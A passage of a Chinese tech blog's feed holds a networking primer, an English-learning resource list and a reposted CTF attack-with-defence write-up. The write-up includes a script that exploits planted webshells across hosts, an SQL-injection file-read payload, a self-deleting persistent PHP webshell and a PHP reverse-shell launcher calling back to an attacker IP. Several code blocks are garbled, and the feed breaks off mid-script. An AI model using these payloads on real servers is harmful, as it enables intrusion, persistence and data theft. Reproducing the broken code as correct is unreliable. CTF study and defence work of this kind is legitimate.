<strong>的区别</strong></p><ul><li>1)Get是从服务器上获取数据,Post是向服务器传送数据。</li><li>2)Get是把参数数据队列加到提交表单的Action属性所指向的URL中,值和表单内各个字段一一对应,在URL中可以看到。</li><li>3)Get传送的数据量小,不能大于2KB;Post传送的数据量较大,一般被默认为不受限制。</li><li><p>4)根据HTTP规范,GET用于信息获取,而且应该是安全的和幂等的。</p></li><li><p>I. 所谓 <strong>安全的</strong> 意味着该操作用于获取信息而非修改信息。换句话说,GET请求一般不应产生副作用。就是说,它仅仅是获取资源信息,就像数据库查询一样,不会修改,增加数据,不会影响资源的状态。</p></li><li>II. <strong>幂等</strong> 的意味着对同一URL的多个请求应该返回同样的结果。</li></ul><h3 id="13-一个举例"><a href="#13-一个举例" class="headerlink" title="13. 一个举例"></a>13. 一个举例</h3><p>在浏览器中输入 <strong><a href="http://www.baidu.com/" rel="noopener">http://www.baidu.com/</a></strong> 后执行的全部过程。</p><p>现在假设如果我们在客户端(客户端)浏览器中输入 <a href="http://www.baidu.com," rel="noopener">http://www.baidu.com,</a> 而 baidu.com 为要访问的服务器(服务器),下面详细分析客户端为了访问服务器而执行的一系列关于协议的操作:</p><ul><li>1)客户端浏览器通过DNS解析到 <a href="http://www.baidu.com" rel="noopener">www.baidu.com</a> 的IP地址220.181.27.48,通过这个IP地址找到客户端到服务器的路径。客户端浏览器发起一个HTTP会话到220.161.27.48,然后通过TCP进行封装数据包,输入到网络层。</li><li>2)在客户端的传输层,把HTTP会话请求分成报文段,添加源和目的端口,如服务器使用80端口监听客户端的请求,客户端由系统随机选择一个端口如5000,与服务器进行交换,服务器把相应的请求返回给客户端的5000端口。然后使用IP层的IP地址查找目的端。</li><li>3)客户端的网络层不用关系应用层或者传输层的东西,主要做的是通过查找路由表确定如何到达服务器,期间可能经过多个路由器,这些都是由路由器来完成的工作,不作过多的描述,无非就是通过查找路由表决定通过那个路径到达服务器。</li><li>4)客户端的链路层,包通过链路层发送到路由器,通过邻居协议查找给定IP地址的MAC地址,然后发送ARP请求查找目的地址,如果得到回应后就可以使用ARP的请求应答交换的IP数据包现在就可以传输了,然后发送IP数据包到达服务器的地址。</li></ul><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">原文链接:http://www.cnblogs.com/maybe2030/p/4781555.html</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>计算机网络基础,网络协议等基础知识总结</p>
<p>[TOC]</p>
</summary>
<category term="计算机网络技术" scheme="http://www.deops.cn/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF/"/>
<category term="网络通信" scheme="http://www.deops.cn/tags/%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1/"/>
</entry>
<entry>
<title>我学练英语所使用的方法、工具与资料</title>
<link href="http://www.deops.cn//posts/9bf5b5/"/>
<id>http://www.deops.cn//posts/9bf5b5/</id>
<published>2018-08-23T15:55:04.000Z</published>
<updated>2018-10-03T17:35:40.222Z</updated>
<content type="html"><![CDATA[<blockquote><p><a href="https://dramatea.github.io/077%20%E6%88%91%E5%AD%A6%E7%BB%83%E8%8B%B1%E8%AF%AD%E6%89%80%E4%BD%BF%E7%94%A8%E7%9A%84%E6%96%B9%E6%B3%95%E3%80%81%E5%B7%A5%E5%85%B7%E4%B8%8E%E8%B5%84%E6%96%99.html" rel="noopener">原文:dramatea</a></p></blockquote><p><strong>试用过的方法(按进展的时间顺序)</strong><br>初中高中大学的英语课堂与考试<br>【不得不承认我那可怜的语法知识和大多数单词都是在这个阶段掌握的<br><a id="more"></a><br>使用背单词工具,按照记忆曲线每日死记硬背新词或复习旧词<br>(扇贝打卡记录:<a href="http://www.shanbay.com/checkin/user/920425/" rel="noopener">http://www.shanbay.com/checkin/user/920425/</a><br>【对于我这种记性差的人此法效果很一般。坚持打卡370天后停止使用扇贝。但换了个百词斩偶尔再背背单词<br>奶爸英语教室中级 <a href="http://t.cn/zjSMhMC" rel="noopener">http://t.cn/zjSMhMC</a><br>easy VOA <a href="http://www.easyvoa.com/" rel="noopener">http://www.easyvoa.com/</a> (美国之音,测试自己是否听懂,判断级别<br>(读记——恶魔奶爸的英语学习方法 <a href="http://dramatea.com/a/397" rel="noopener">http://dramatea.com/a/397</a><br>【完成了第一步骤,发音的纠正。后根据自己的情况调整后续方法<br>在应用中练习(练英语长知识两不误<br>①直接去阅读英文的文章和书籍,不认识的单词查词典;<br>②重复看/听英语视频(带中英字幕);<br>(需要发音、词汇量、语法有那么点基础<br>【中阶ing…</p><p><strong>发音</strong><br>练习音标发音的教程视频和flash什么的(好早前用过,找不到了<br>赖世雄美语音标 <a href="http://t.cn/zRtwZA7" rel="noopener">http://t.cn/zRtwZA7</a> (跟着赖老师的课程练习发音就好</p><p><strong>词汇</strong><br>Test Your Vocab <a href="http://testyourvocab.com(词汇量测试" rel="noopener">http://testyourvocab.com(词汇量测试</a><br>海词 <a href="http://dict.cn/(词典,常用,汉→英,英→汉" rel="noopener">http://dict.cn/(词典,常用,汉→英,英→汉</a><br>扇贝网 <a href="http://shanbay.com" rel="noopener">http://shanbay.com</a> (背单词/阅读/小组内互相激励<br>百词斩 <a href="http://www.baicizhan.com" rel="noopener">http://www.baicizhan.com</a> (背单词,现用</p><p>分享自制的英语词汇表:<br>乔布斯2005年在斯坦福大学的演讲(224词) <a href="http://www.shanbay.com/wordbook/5119/" rel="noopener">扇贝单词书</a> / <a href="http://www.tudou.com/programs/view/Cerx7xz2DzA/" rel="noopener">演讲视频(中英字幕)</a><br>TED:Ernesto Sirolli – 想要帮助别人?闭嘴,听人家说!(546词)<a href="http://www.shanbay.com/wordbook/6874/" rel="noopener">扇贝单词书</a> / <a href="http://www.ted.com/talks/ernesto_sirolli_want_to_help_someone_shut_up_and_listen.html" rel="noopener">演讲视频</a><br>电影《Hotel Transylvania》(1542词) <a href="http://pan.baidu.com/share/link?shareid=264482&uk=304925281" rel="noopener">完整词串下载</a> / <a href="http://www.shanbay.com/wordbook/6088/" rel="noopener">扇贝词串</a> / <a href="http://open.sina.com.cn/course/id_322/lesson_4399/" rel="noopener">电影介绍</a><br>耶鲁公开课:美国现代主义文学选读 第三课(1257词) <a href="http://pan.baidu.com/share/link?shareid=264482&uk=304925281" rel="noopener">完整词串下载</a> / <a href="http://open.sina.com.cn/course/id_322/lesson_4399/" rel="noopener">课程视频</a></p><p><strong>语法</strong><br>上学时的英语老师们的喋喋不休辛勤传授<br>语法书</p><p><strong>阅读</strong><br><a href="http://book.douban.com/subject/1370897/" rel="noopener">The Little Prince</a> (好读、有趣、书不厚<br>我的阅读方法是,一次读一章节,不懂的单词查字典并标记(Kindle上比较方便);读完本章节后回顾标记的单词;第二天先回顾昨日标记单词,再复看昨日章节;然后继续阅读下一章节;如此方式持续读完。</p><p><strong>视听</strong><br>TED <a href="http://www.ted.com/talks" rel="noopener">http://www.ted.com/talks</a> (丰富优质的演讲视频,有多国语言字幕</p><p>史蒂夫·乔布斯2005年6月在斯坦福大学毕业典礼上的演讲<br><a href="http://pan.baidu.com/share/link?shareid=203002&uk=304925281" rel="noopener">词串下载</a> / <a href="http://pan.baidu.com/share/link?shareid=203000&uk=304925281" rel="noopener">演讲文本(英文+中文)下载</a> / <a href="http://www.tudou.com/programs/view/Cerx7xz2DzA/" rel="noopener">演讲视频(中英字幕)</a> / <a href="http://pan.baidu.com/share/link?shareid=202986&uk=304925281" rel="noopener">演讲音频</a></p><p>Joe Wang’s Talk Show on the Late Show<br><a href="http://pan.baidu.com/share/link?shareid=210010&uk=304925281" rel="noopener">词串下载</a> / <a href="http://www.tudou.com/listplay/AHMzWWhLE5M/Vg3YjDjeE5E.html" rel="noopener">脱口秀视频</a></p>]]></content>
<summary type="html">
<blockquote>
<p><a href="https://dramatea.github.io/077%20%E6%88%91%E5%AD%A6%E7%BB%83%E8%8B%B1%E8%AF%AD%E6%89%80%E4%BD%BF%E7%94%A8%E7%9A%84%E6%96%B9%E6%B3%95%E3%80%81%E5%B7%A5%E5%85%B7%E4%B8%8E%E8%B5%84%E6%96%99.html" class="pl-c1">"_blank" rel="noopener">原文:dramatea</a></p>
</blockquote>
<p><strong>试用过的方法(按进展的时间顺序)</strong><br>初中高中大学的英语课堂与考试<br>【不得不承认我那可怜的语法知识和大多数单词都是在这个阶段掌握的<br>
</summary>
<category term="学习" scheme="http://www.deops.cn/tags/%E5%AD%A6%E4%B9%A0/"/>
<category term="英语" scheme="http://www.deops.cn/tags/%E8%8B%B1%E8%AF%AD/"/>
</entry>
<entry>
<title>CTF线下赛AWD套路小结</title>
<link href="http://www.deops.cn//posts/28c30eb2/"/>
<id>http://www.deops.cn//posts/28c30eb2/</id>
<published>2018-08-13T09:03:28.000Z</published>
<updated>2018-10-06T05:25:33.720Z</updated>
<content type="html"><![CDATA[<p>CTF网络安全攻防赛入门,如果你对黑客攻防感兴趣的话看看这篇入门。<br>新手该知道的一些知识以及技巧,下面简单整理一下<br><a id="more"></a></p><blockquote><p>原创:tinyfisher<br>转载:<a href="https://xz.aliyun.com/" rel="noopener">先知安全技术社区</a></p></blockquote><p>最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了。</p><h1 id="一、AWD模式简介"><a href="#一、AWD模式简介" class="headerlink" title="一、AWD模式简介"></a>一、AWD模式简介</h1><p>AWD: Attack With Defence, 比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。<br><!--more--></p><ol><li>一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);</li><li>可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;</li><li>flag在主办方的设定下每隔一定时间刷新一轮;</li><li>各队一般都有自己的初始分数;</li><li>flag一旦被其他队伍拿走,该队扣除一定积分;</li><li>扣除的积分有获取flag的队伍均分;</li><li>主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分;</li><li>一般每个队伍会给一个低权限用户,非root权限</li></ol><h1 id="二、网络环境"><a href="#二、网络环境" class="headerlink" title="二、网络环境"></a>二、网络环境</h1><p>网络拓扑图如下图所示:</p><hr><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYly1fu99r097baj30lq0fg40q.jpg" alt="拓扑图" title=""> </div> <div class="image-caption">拓扑图</div> </figure><p>比赛中获取flag一般有两种模式:<br>(1)flag在根目录,读取flag内容,提交即可得分<br>(2)拿到其他队伍shell后,执行指定命令(curl 10.0.0.2),即可从上图中flag机获取flag内容;</p><p>比赛可能会告诉其他队伍的IP,也可能不会告诉你,一般在同一个C段或者B段,因此首先利用nmap等扫描工具发现其他队伍的IP:<br><code>nmap -sn 192.168.71.0/24</code><br>或者利用<a href="https://github.com/zer0h/httpscan" rel="noopener">https://github.com/zer0h/httpscan</a> 的脚本进行扫描</p><h1 id="三、-比赛分工"><a href="#三、-比赛分工" class="headerlink" title="三、 比赛分工"></a>三、 比赛分工</h1><p>线下赛一般3人左右,2人攻击,1人防御,因为发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守。</p><p>比赛中每个队伍可能会维护多个靶机,web、二进制等,也可以没人负责一台,各自负责攻击和防御。</p><h1 id="四、-一些“套路”"><a href="#四、-一些“套路”" class="headerlink" title="四、 一些“套路”"></a>四、 一些“套路”</h1><ol><li>备份!备份!备份!<br>重要的事情说三遍,比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html),这是我自我审计的基础,也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会,有的比赛不提供,所以备份十分重要。</li></ol><p>可以用scp命令,也可以用一些图形化的工具:<code>Winscp</code>、<code>FileZilla</code>,操作起来比价方便。<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYgy1fu9cs4y09ej311f0ny7ds.jpg" alt="winscp" title=""> </div> <div class="image-caption">winscp</div> </figure></p><ol start="2"><li>口令问题<br>弱口令的问题几乎是必考,比赛开始后,如果发现每个队伍的SSH账号密码都是一样的(某次比赛中都是phpCMS、WordPress),需要立即修改口令,如果被其他队伍改了那就gg了。</li></ol><p>Web后台很有可能存在弱口令,一般都是admin\admin,admin\123456,test\test等等,需要立即修改,也可以修改其他队伍的后台口令,为本队所用,说不定可以利用后台getshell,比如十分常见的WordPress。<br><!--more--></p><ol start="3"><li>预留后门<br>在维护的服务器上,很有可能已经预留了一个或多个后门,比如一句话木马,这是个送分题,可以利用这个漏洞迅速打一波,还可以视情况“搅屎”,利用这个漏洞一直维持权限,每轮都得分(后面细说)<br>将服务器中web目录下载到本地,利用<code>D盾</code>扫描,一般就可以发现预留后门:<figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYgy1fu9copyyifj30m40gvtfi.jpg" alt="D-dun" title=""> </div> <div class="image-caption">D-dun</div> </figure>发现后门,第一时间删除,同时利用这个漏洞发起第一波攻击,如果利用菜刀连,显然不够优雅,还没连完,人家估计都删的差不多了,因此这个漏洞虽然是送分题,但有时拼的是手速,因此得提前准备好脚本:<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">url=<span class="string">"http://192.168.71."</span></span><br><span class="line">url1=<span class="string">""</span></span><br><span class="line">shell=<span class="string">"/Upload/index.php"</span></span><br><span class="line">passwd=<span class="string">"abcde10db05bd4f6a24c94d7edde441d18545"</span></span><br><span class="line">port=<span class="string">"80"</span></span><br><span class="line">payload = {passwd: <span class="string">'system(\'cat /flag\');'</span>}</span><br><span class="line">f=open(<span class="string">"webshelllist.txt"</span>,<span class="string">"w"</span>)</span><br><span class="line">f1=oepn(<span class="string">"firstroud_flag.txt"</span>,<span class="string">"w"</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span>[<span class="number">51</span>,<span class="number">52</span>,<span class="number">53</span>,<span class="number">11</span>,<span class="number">12</span>,<span class="number">13</span>,<span class="number">21</span>,<span class="number">22</span>,<span class="number">23</span>,<span class="number">31</span>,<span class="number">32</span>,<span class="number">33</span>,<span class="number">41</span>,<span class="number">42</span>,<span class="number">43</span>,<span class="number">71</span>,<span class="number">72</span>,<span class="number">73</span>,<span class="number">81</span>,<span class="number">82</span>,<span class="number">83</span>]:</span><br><span class="line">url1=url+str(i)+<span class="string">":"</span>+port+shell</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">res=requests.post(url1,payload,timeout=<span class="number">1</span>)</span><br><span class="line"><span class="keyword">if</span> res.status_code == requests.codes.ok:</span><br><span class="line"><span class="keyword">print</span> url1+<span class="string">" connect shell sucess, flag is "</span>+res.text</span><br><span class="line"><span class="keyword">print</span> >>f1,url1+<span class="string">" connect shell sucess, flag is "</span>+res.text</span><br><span class="line"><span class="keyword">print</span> >>f,url1+<span class="string">","</span>+passwd</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">print</span> <span class="string">"shell not found!"</span></span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line"><span class="keyword">print</span> url1+<span class="string">" connect shell fail"</span></span><br><span class="line">f.close()</span><br><span class="line">f1.close()</span><br></pre></td></tr></table></figure></li></ol><p>配置一下其他队伍地址、shell路径和密码,就可以进行攻击,发了个记录在firstround_flag.txt中,某次比赛实际情况如下:<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYgy1fu9cuclrdyj30m40b344h.jpg" alt="flag" title=""> </div> <div class="image-caption">flag</div> </figure></p><ol start="4"><li>常见漏洞<br>常见漏洞包括SQL注入、文件包括、文件上传等等。对于SQL注入类的漏洞,一般不会有过滤,可以用<code>sqlmap</code>跑出来,在利用<code>-sql-shell</code>执行,<code>select load_file('/flag');</code>即可得到flag,也可以利用<code>into outfile</code>写木马维持权限,弹药根据实际情况,可能会遇到权限问题。用<code>sqlmap</code>跑比较耗时,可以利用<code>payload</code>写一个python,自动化进行攻击:<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sqli</span><span class="params">(host)</span>:</span></span><br><span class="line"><span class="keyword">global</span> sess_admin</span><br><span class="line">date = {<span class="string">"section_name"</span>;<span class="string">"asd"</span>,<span class="string">"admin_name"</span>}:</span><br><span class="line"><span class="string">" '||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'"</span>,<span class="string">"announcement"</span>;<span class="string">"asd"</span></span><br><span class="line">r = sess_admin.post(<span class="string">'http://%s/index.php/section/add'</span>%host,data=data)</span><br><span class="line">flags = re.findall(<span class="string">r'~(.+?)~'</span>,r.content)</span><br><span class="line"><span class="keyword">if</span> flags:</span><br><span class="line"><span class="keyword">return</span> flags[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="string">"error pwn!"</span></span><br></pre></td></tr></table></figure></li></ol><p>上传漏洞一般也是比较简单的黑名单过滤、服务器解析漏洞等等,可以直接上传木马;</p><h1 id="五、权限维持"><a href="#五、权限维持" class="headerlink" title="五、权限维持"></a>五、权限维持</h1><p>这里说的方法就比较“搅屎”了,上面说到利用预留后门可以维持权限,主要哟两种,一种是“不死马”,另一种是反弹shell</p><ul><li><strong>“不死马”</strong><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">set_time_limit(<span class="number">0</span>);</span><br><span class="line">ignore_user_abort(<span class="number">1</span>);</span><br><span class="line">unlink(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>){</span><br><span class="line">file_put_contents(<span class="string">'./.config.php'</span>,<span class="string">'<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(101).$uU(97.$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(101).$uU(97)?>'</span>);</span><br><span class="line">system(<span class="string">'chmod 777 .config.php'</span>);</span><br><span class="line">touch(<span class="string">"./.config.php"</span>,mktime(<span class="number">20</span>,<span class="number">15</span>,<span class="number">1</span>,<span class="number">11</span>,<span class="number">28</span>,<span class="number">2016</span>));</span><br><span class="line">usleep(<span class="number">100</span>);</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></li></ul><p>利用预留后门,上传上面的“不死马“并访问,就会一直生成.config.php的一句话木马,木马内容可以自修修改,只要别被其他队伍看懂就行,哈哈哈</p><ul><li><strong>“反弹shell”</strong><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">which</span><span class="params">($pr)</span> </span>{</span><br><span class="line">$path = excute(<span class="string">"which $pr"</span>);</span><br><span class="line"><span class="keyword">return</span> ($path ? $path : $pr);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">excute</span><span class="params">($cfe)</span> </span>{</span><br><span class="line">$res = <span class="string">''</span>;</span><br><span class="line"><span class="keyword">if</span> ($cfe) {</span><br><span class="line"><span class="keyword">if</span>(function_exists(<span class="string">'exec'</span>)) {</span><br><span class="line">@exec($cfe,$res);</span><br><span class="line">$res = join(<span class="string">"\n"</span>,$res);</span><br><span class="line">} <span class="keyword">elseif</span> (function_exists(<span class="string">'shell_exec'</span>)) {</span><br><span class="line">$res = @shell_exec($cfe);</span><br><span class="line">} <span class="keyword">elseif</span>(function_exists(<span class="string">'system'</span>)) {</span><br><span class="line">@ob_start();</span><br><span class="line">@system($cfe);</span><br><span class="line">$res = @ob_get_contents();</span><br><span class="line">@ob_end_clean();</span><br><span class="line">} <span class="keyword">elseif</span> (function_exists(<span class="string">'passthru'</span>)) {</span><br><span class="line">@ob_start();</span><br><span class="line">@passthru($cfe);</span><br><span class="line">$res = @ob_get_contents();</span><br><span class="line">@ob_end_clean();</span><br><span class="line">} <span class="keyword">elseif</span> (@is_resource($f = @popen($cfe,<span class="string">"r"</span>))) {</span><br><span class="line">$res = @fread($f, <span class="number">1024</span>);</span><br><span class="line">}</span><br><span class="line">@pclose($f);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> $res;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">cf</span><span class="params">($name,$text)</span></span>{</span><br><span class="line"><span class="keyword">if</span>($fp=@fopen($fname, <span class="string">'w'</span>)) {</span><br><span class="line">$fputs($fp,@base64_decode($text));</span><br><span class="line">@fclose($fp);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">$yourip = <span class="string">"192.168.71.1"</span>;</span><br><span class="line">$yourport = <span class="string">'9999'</span>;</span><br><span class="line">$usedb = <span class="keyword">array</span>(<span class="string">'per'</span>=><span class="string">'perl'</span>,<span class="string">'c'</span>=><span class="string">'c'</span>);</span><br><span class="line">$back_connect=<span class="string">"..."</span></span><br><span class="line">cf(<span class="string">'/tmp/.bc'</span>,$back_connect);</span><br><span class="line">$res = execute(which(<span class="string">'perl'</span>)<span class="string">" /tmp/.db $yourip $yourport &"</span>);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></li></ul><p>利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYly1fu9m5f56s3j30lz0edtdi.jpg" alt="php" title=""> </div> <div class="image-caption">php</div> </figure><br>需要注意的是,上面的2中方法,需要网站的权限为www-data,如果网站的权限是ctf,那么是没有权限上传文件的。</p><h1 id="六、-通用防御"><a href="#六、-通用防御" class="headerlink" title="六、 通用防御"></a>六、 通用防御</h1><p>对于防御,一般通用有两种方法:WAF、文件监控<br><strong>1. WAF</strong></p><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYly1fu9mac2q97j30lx0eidqt.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYly1fu9maehbaqj30mg0bp0xj.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><p>使用方法:</p><ol><li>将waf.php传到要包含的文件的目录</li><li>在页面中加入防护,哟两种做法,根据情况二选一即可:<br>a).在所需要防护的页面加入代码<br><code>require_once('waf.php');</code><br>就可以做到页面防注入、跨站<br>如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.icn.php中!<br>添加<code>require_once('waf.php');</code>来调用代码<br>常用php系统添加文件</li></ol><blockquote><p>PHPCMS v9 \phpcms\base.php<br>PHPWIND8.7 \data\sql_config.php<br>DEDECMS 5.7 \data\common.inc.php<br>Discuz X2 \config\config.php_global.php<br>WordPress \wp-config.php<br>Metinfo \include\head.php</p></blockquote><p>b). 在每个文件最前加上代码<br>在<code>php.ini</code>中找到<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Automaticaly add files before or after any PHP document.</span><br><span class="line">auto_prepend_file = 360_safe3.php路径;</span><br></pre></td></tr></table></figure></p><p>需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。</p><p><strong>2. 文件监控</strong><br>文件监控可以对web目录进行监控,发现新上传文件或者被修改立即恢复,这样可以防止上传shell等攻击:<br><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br></pre></td><td class="code"><pre><span class="line"><span 